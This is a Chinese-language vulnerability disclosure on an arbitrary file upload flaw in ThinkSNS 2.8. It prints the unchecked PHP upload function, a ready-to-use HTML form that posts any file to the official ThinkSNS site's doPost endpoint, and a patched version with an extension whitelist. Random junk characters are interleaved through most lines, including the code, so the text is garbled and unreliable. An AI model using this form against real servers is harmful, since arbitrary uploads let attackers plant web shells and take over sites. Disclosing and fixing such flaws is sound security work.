ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
, [. h5 `5 d( L2 p2 }2 Z

\api\StatusesApi.class.php

function uploadpic(){
) q8 Y5 u' V9 s+ M! k% `      if( $_FILES['pic'] ){
     //执行上传操作
* [! P7 w! R4 D4 Y0 x. p     $savePath =  $this->_getSaveTempPath();
4 _, @8 n- `. }3 p) c     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
" \7 G( X7 F4 o7 ?" \7 \0 X    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
+ P! R. N7 p2 g& H" ^       {
7 \( U8 S! _6 {* K2 v0 [7 O        $result['boolen']    = 1;
: Z) N: i% t7 R! X: p$ b# D, |  X        $result['type_data'] = 'temp/'.$filename;
& {2 {3 Q, e/ N" [5 O; G        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
9 a9 H' a% Z1 U3 s, E' ~- Z       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
/ K6 Q2 h2 Y) z1 v       }
. _( Q' z; f0 y; W% {     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
) v. B+ f$ k( ?9 P     }
return $result;
9 T7 C# @% I, ^6 w2 J; ]    }
; m) n6 n/ K  tunloadpic()方法没有对文件类型进行验证
, h! C7 s' H# x# C+ |
7 {- l1 _3 F; X, i$ M可以构建表单, 选择任意文件, 提交到
$ R9 d. i# E% r5 |2 v4 A/index.php?app=w3g&mod=Index&act=doPost
0 J5 t4 N' R: n) g7 d, U! s
! V  Y0 u* a9 j* O# ]$ ~, k0 k在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 N0 D4 E8 t) E
  b, f. }5 o* m0 ]  v, S
在登录thinksns官方微博后,
构建以下表单:

4 M, T% I3 @& \' f+ i' V: O" d% X5 e<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
( T: o0 V3 ~9 Pfile: <input id="file" type="file" name="pic" />
# J# }" n3 M( ^6 A<input type="submit" value="Post" />
% R' R2 d- g: q: l9 Z; D</form>
( N0 @' B; Z& F. Q! _( `去掉缩略图的前缀(small_ )
​修复方案：

7 L. g* [/ E$ I# `- G9 D
\api\StatusesApi.class.php
, ~" q, E& Y0 N
( ~: u' Y" S$ p7 Y9 yfunction uploadpic(){
     /**
      * 20121018 @yelo
      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
5 O% Y6 `2 S7 L2 o
5 r- F+ j% r+ ^! j; I9 H     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

8 U9 k# F. n+ f5 D& ]8 o$ W" P6 ?     if( $uploadCondition ){
     //执行上传操作
5 h, f+ A! R  {+ ~9 w     $savePath =  $this->_getSaveTempPath();
4 T0 P6 Y: `% ~) E; `. _/ I     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
6 C2 j) U9 N& B2 e       {
, e) v. F: q7 e6 y        $result['boolen']    = 1;
8 T; J2 t) j; U# I        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
" B% K% a6 c+ k: M       } else {
6 M6 D' l' G. U0 X2 D& Z        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
     }else{
! u1 O' v' g' C$ e+ e         $result['boolen']    = 0;
6 e2 B1 G2 f% O3 a         $result['message']   = '上传失败';
# C+ H; r* Q8 E( A" L# S# ^     }
return $result;
% L' s1 C- h% M3 ]2 e# O2 L3 y& q    }
* z+ T  N9 ]8 s9 h# u; O$ R​
5 a8 K. h0 `8 ~" R( y0 R9 ^7 r